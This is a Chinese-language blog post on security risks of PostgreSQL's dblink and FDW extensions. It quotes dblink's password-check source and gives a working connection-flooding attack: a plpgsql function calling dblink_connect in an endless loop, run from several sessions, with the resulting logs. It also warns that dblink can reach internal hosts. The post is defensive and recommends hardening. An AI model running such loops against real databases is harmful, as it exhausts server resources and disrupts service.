开放dblink , fdw带来的安全隐患
背景
PostgreSQL 有些插件是支持网络访问的，比如dblink, fdw等，可以访问外部服务。
如果开放这些插件，并且网络隔离没有做好的话，可能会带来一些安全隐患，比如通过这些插件，能够访问数据库主机内网的其他机器。
正文
如果你把超级用户开放给用户，危险更加严峻
dblink_connect和dblink_connect_u的差别只是security invoker和security definer。他们的代码都是dblink_connect
public | dblink_connect | text | text | normal | invoker | volatile | postgres | c | dblink_connect |
public | dblink_connect | text | text, text | normal | invoker | volatile | postgres | c | dblink_connect |
public | dblink_connect_u | text | text | normal | definer | volatile | postgres | c | dblink_connect |
public | dblink_connect_u | text | text, text | normal | definer | volatile | postgres | c | dblink_connect |
dblink_connect在建立连接前，会使用dblink_connstr_check检查本次连接是否使用了密码（即connstr中是否有password字段），只允许超级用户不提供密码建立DBLINK。见dblink_connstr_check函数内容。
如果提供了password字段，则开始建立远端连接，建立完连接后，还会进行一次检测，这次用的是dblink_security_check函数，这次检查的是如果连接的用户远端数据库的pg_hba.conf中使用了trust认证，则表示未使用密码认证，同样这种情况值允许超级用户建立这样的DLBINK。如果是trust即：!PQconnectionUsedPassword(conn)为真，然后释放连接，并告警。
看起来挺安全的，其实也有漏洞在里面，作为一个普通用户，可以利用这种插件不断的和远端数据库建立连接，（虽然实际上它不能连上），这会造成远端数据库不断的FORK进程，建立和断开连接（如果远端数据库是trust认证的话，想象一下如果本地有多个数据库实例，大多数用户会用trust认证，针对127.0.0.1端口，但是我建议大家不要这么干，还是用UNIX SOCKET吧，并且UNIX SOCKET一定要放在$PGDATA里面，并且设置为700属性）。我们知道PG是进程模式的，不断的fork，连接，断开，开销是比较大的。而且如果你审计了连接和断开日志，日志量会非常庞大。
/*
* For non-superusers, insist that the connstr specify a password. This
* prevents a password from being picked up from .pgpass, a service file,
* the environment, etc. We don't want the postgres user's passwords
* to be accessible to non-superusers.
*/
static void
dblink_connstr_check(const char *connstr)
{
if (!superuser())
{
PQconninfoOption *options;
PQconninfoOption *option;
bool connstr_gives_password = false;
options = PQconninfoParse(connstr, NULL);
if (options)
{
for (option = options; option->keyword != NULL; option++)
{
if (strcmp(option->keyword, "password") == 0)
{
if (option->val != NULL && option->val[0] != '\0')
{
connstr_gives_password = true;
break;
}
}
}
PQconninfoFree(options);
}
if (!connstr_gives_password)
ereport(ERROR,
(errcode(ERRCODE_S_R_E_PROHIBITED_SQL_STATEMENT_ATTEMPTED),
errmsg("password is required"),
errdetail("Non-superusers must provide a password in the connection string.")));
}
}
#define DBLINK_GET_CONN \
do { \
char *conname_or_str = text_to_cstring(PG_GETARG_TEXT_PP(0)); \
rconn = getConnectionByName(conname_or_str); \
if (rconn) \
{ \
conn = rconn->conn; \
conname = conname_or_str; \
} \
else \
{ \
connstr = get_connect_string(conname_or_str); \
if (connstr == NULL) \
{ \
connstr = conname_or_str; \
} \
dblink_connstr_check(connstr); \
conn = PQconnectdb(connstr); \
if (PQstatus(conn) == CONNECTION_BAD) \
{ \
msg = pstrdup(PQerrorMessage(conn)); \
PQfinish(conn); \
ereport(ERROR, \
(errcode(ERRCODE_SQLCLIENT_UNABLE_TO_ESTABLISH_SQLCONNECTION), \
errmsg("could not establish connection"), \
errdetail_internal("%s", msg))); \
} \
dblink_security_check(conn, rconn); \
if (PQclientEncoding(conn) != GetDatabaseEncoding()) \
PQsetClientEncoding(conn, GetDatabaseEncodingName()); \
freeconn = true; \
} \
} while (0)
static void
dblink_security_check(PGconn *conn, remoteConn *rconn)
{
if (!superuser())
{
if (!PQconnectionUsedPassword(conn))
{
PQfinish(conn);
if (rconn)
pfree(rconn);
ereport(ERROR,
(errcode(ERRCODE_S_R_E_PROHIBITED_SQL_STATEMENT_ATTEMPTED),
errmsg("password is required"),
errdetail("Non-superuser cannot connect if the server does not request a password."),
errhint("Target server's authentication method must be changed.")));
}
}
}
攻击例子：
假设本地有一个数据库监听了1921端口，同时127.0.0.1地址为trust。
local all all trust
# IPv4 local connections:
host all all 127.0.0.1/32 trust
# IPv6 local connections:
#host all all ::1/128 trust
在本地假设还有一个其他的数据库实例，1922端口，或者本地数据库也行，反正都能达到攻击目的。
创建一个函数，连接到127.0.0.1
psql -p 1922
postgres=> create or replace function dblink() returns void as $$
declare
begin
perform dblink_connect('hostaddr=127.0.0.1 port=1921 user=postgres password=1');
exception when others then
return;
end;
$$ language plpgsql ;
创建一个攻击loop
postgres=> do language plpgsql
$$
declare
begin
loop
perform dblink();
end loop;
end;
$$;
开多个进程来攻击，会很爽。
你会看到大量的日志如下：
2015-10-22 19:16:41.738 CST,"postgres","postgres",16167,"127.0.0.1:37869",5628c599.3f27,3,"idle",2015-10-22 19:16:41 CST,,0,LOG,00000,"disconnection: session time: 0:00:00.004 user=postgres database=postgres host=127.0.0.1 port=37869",,,,,,,,"log_disconnections, postgres.c:4511",""
2015-10-22 19:16:41.739 CST,,,16168,"",5628c599.3f28,1,"",2015-10-22 19:16:41 CST,,0,LOG,00000,"connection received: host=127.0.0.1 port=37870",,,,,,,,"BackendInitialize, postmaster.c:4013",""
2015-10-22 19:16:41.740 CST,"postgres","postgres",16168,"127.0.0.1:37870",5628c599.3f28,2,"authentication",2015-10-22 19:16:41 CST,2/12827,0,LOG,00000,"connection authorized: user=postgres database=postgres",,,,,,,,"PerformAuthentication, postinit.c:258",""
2015-10-22 19:16:41.743 CST,"postgres","postgres",16168,"127.0.0.1:37870",5628c599.3f28,3,"idle",2015-10-22 19:16:41 CST,,0,LOG,00000,"disconnection: session time: 0:00:00.004 user=postgres database=postgres host=127.0.0.1 port=37870",,,,,,,,"log_disconnections, postgres.c:4511",""
2015-10-22 19:16:41.743 CST,,,16169,"",5628c599.3f29,1,"",2015-10-22 19:16:41 CST,,0,LOG,00000,"connection received: host=127.0.0.1 port=37871",,,,,,,,"BackendInitialize, postmaster.c:4013",""
2015-10-22 19:16:41.744 CST,"postgres","postgres",16169,"127.0.0.1:37871",5628c599.3f29,2,"authentication",2015-10-22 19:16:41 CST,2/12828,0,LOG,00000,"connection authorized: user=postgres database=postgres",,,,,,,,"PerformAuthentication, postinit.c:258",""
同时大量的tcp TIME_WAIT
[root@digoal pg_root_1921]# netstat -anp|grep TIMEWAIT
[root@digoal pg_root_1921]# netstat -anp|grep 1921
tcp 0 0 0.0.0.0:1921 0.0.0.0:* LISTEN 3082/postgres
tcp 0 0 127.0.0.1:18236 127.0.0.1:1921 TIME_WAIT -
tcp 0 0 127.0.0.1:18206 127.0.0.1:1921 TIME_WAIT -
tcp 0 0 127.0.0.1:18160 127.0.0.1:1921 TIME_WAIT -
tcp 0 0 127.0.0.1:18183 127.0.0.1:1921 TIME_WAIT -
tcp 0 0 127.0.0.1:18240 127.0.0.1:1921 TIME_WAIT -
tcp 0 0 127.0.0.1:18169 127.0.0.1:1921 TIME_WAIT -
tcp 0 0 127.0.0.1:18172 127.0.0.1:1921 TIME_WAIT -
tcp 0 0 127.0.0.1:18254 127.0.0.1:1921 TIME_WAIT -
tcp 0 0 127.0.0.1:18157 127.0.0.1:1921 TIME_WAIT -
所以安全无小事，权限收敛要做到位。
调整pg_hba.conf和postgresql.conf还不够，用户还是可以继续攻击。
# "local" is for Unix domain socket connections only
local all all trust
# IPv4 local connections:
host all all 127.0.0.1/32 md5
# IPv6 local connections:
#host all all ::1/128 md5
postgresql.conf
#superuser_reserved_connections = 3 # (change requires restart)
unix_socket_directories = '.' # comma-separated list of directories
# (change requires restart)
#unix_socket_group = '' # (change requires restart)
unix_socket_permissions = 0700 # begin with 0 to use octal notation
只是现在报错变成了这样，密码错误：
2015-10-22 19:30:48.172 CST,,,3910,"",5628c8e8.f46,1,"",2015-10-22 19:30:48 CST,,0,LOG,00000,"connection received: host=127.0.0.1 port=52907",,,,,,,,"BackendInitialize, postmaster.c:4013",""
2015-10-22 19:30:48.172 CST,"postgres","postgres",3910,"127.0.0.1:52907",5628c8e8.f46,2,"authentication",2015-10-22 19:30:48 CST,2/195843,0,FATAL,28P01,"password authentication failed for user ""postgres""","Connection matched pg_hba.conf line 86: ""host all all 127.0.0.1/32 md5""",,,,,,,"auth_failed, auth.c:285",""
还有一个需要注意的影响，就是IO，因为建立连接时会触发调用 write_relcache_init_file@src/backend/utils/cache/relcache.c
/*
* We must write a temporary file and rename it into place. Otherwise,
* another backend starting at about the same time might crash trying to
* read the partially-complete file.
*/
if (shared)
{
snprintf(tempfilename, sizeof(tempfilename), "global/%s.%d",
RELCACHE_INIT_FILENAME, MyProcPid);
snprintf(finalfilename, sizeof(finalfilename), "global/%s",
RELCACHE_INIT_FILENAME);
}
else
{
snprintf(tempfilename, sizeof(tempfilename), "%s/%s.%d",
DatabasePath, RELCACHE_INIT_FILENAME, MyProcPid);
snprintf(finalfilename, sizeof(finalfilename), "%s/%s",
DatabasePath, RELCACHE_INIT_FILENAME);
}
/*
* Write a magic number to serve as a file version identifier. We can
* change the magic number whenever the relcache layout changes.
*/
magic = RELCACHE_INIT_FILEMAGIC;
if (fwrite(&magic, 1, sizeof(magic), fp) != sizeof(magic))
elog(FATAL, "could not write init file");
/*
* Write all the appropriate reldescs (in no particular order).
*/
hash_seq_init(&status, RelationIdCache);
while ((idhentry = (RelIdCacheEnt *) hash_seq_search(&status)) != NULL)
{
Relation rel = idhentry->reldesc;
Form_pg_class relform = rel->rd_rel;
/* ignore if not correct group */
if (relform->relisshared != shared)
continue;
/*
* Ignore if not supposed to be in init file. We can allow any shared
* relation that's been loaded so far to be in the shared init file,
* but unshared relations must be used for catalog caches. (Note: if
* you want to change the criterion for rels to be kept in the init
* file, see also inval.c.)
*/
if (!shared && !RelationSupportsSysCache(RelationGetRelid(rel)))
continue;
/* first write the relcache entry proper */
write_item(rel, sizeof(RelationData), fp);
......
/*
* If we have received any SI relcache invals since backend start, assume
* we may have written out-of-date data.
*/
if (relcacheInvalsReceived == 0L)
{
/*
* OK, rename the temp file to its final name, deleting any
* previously-existing init file.
*
* Note: a failure here is possible under Cygwin, if some other
* backend is holding open an unlinked-but-not-yet-gone init file. So
* treat this as a noncritical failure; just remove the useless temp
* file on failure.
*/
if (rename(tempfilename, finalfilename) < 0)
unlink(tempfilename);
}
else
{
/* Delete the already-obsolete temp file */
unlink(tempfilename);
}
LWLockRelease(RelCacheInitLock);
}
另一种风险，如果用户密码泄露了，用户可能可以利用dblink建立到远端的连接，因为数据库所在的机器的IP地址段可能是内网IP地址段。
这种风险需要通过隔离数据库实例的IP地址段，配置pg_hba.conf来杜绝。